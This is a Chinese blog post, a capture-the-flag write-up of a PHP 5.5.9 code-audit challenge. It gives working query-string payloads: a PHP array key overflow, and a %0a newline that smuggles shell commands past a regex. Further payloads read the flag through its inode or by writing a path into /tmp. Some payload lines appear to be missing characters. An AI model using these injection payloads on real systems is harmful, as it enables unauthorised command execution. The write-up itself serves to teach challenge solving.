版权声明:本文为CSDN博主「思源湖的鱼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44604541/article/details/109365511
解题过程
进入界面
在这里插入图片描述
简单的代码审计
首先是个判断,既要数组强等于,又要首元素不等
然后是个正则,要求整个字符串都是数字,大小写不敏感,跨行检测
最后是个黑名单,把常用的都排除了
这个绕过有点东西
第一个就头疼
想来想去
只能从溢出或者php5.5.9本身的漏洞去思考了
查了查
有数组的key溢出问题
参考:
PHP的信息安全(入侵获取$flag)的题目【Q2】
PHP数组的key溢出问题
于是得到payload
stuff[4294967296]=admin&stuff[1]=user&num=123
1
在这里插入图片描述
成功绕过第一个条件
然后是数字检测
查了查
跨行检测可以绕过
用换行符%0a
payload如下
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
1
这里用hackbar失败了
就不是很明白
做题时头一疼
在这里插入图片描述
然后尝试用burp抓包
成功执行ls
在这里插入图片描述
成功绕过第二个条件
最后是命令执行
查了查
显示有如下的办法
在这里插入图片描述
我们可以用tac
文件则有两个比较好用的方法
方法1
用inode
索引节点
先寻找flag的inode
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
1
在这里插入图片描述
读取flag
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 20190647
1
在这里插入图片描述
成功得到flag
方法2
输出到文件里
然后执行文件
stuff[4294967296]=admin&stuff[1]=user&num=123%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac tac /tmp/hello
1
在这里插入图片描述
得到flag
知识点
php5.5的数组key溢出
换行符绕过正则跨行匹配
inode绕过正则
文件输出绕过正则
————————————————
版权声明:本文为CSDN博主「思源湖的鱼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44604541/article/details/109365511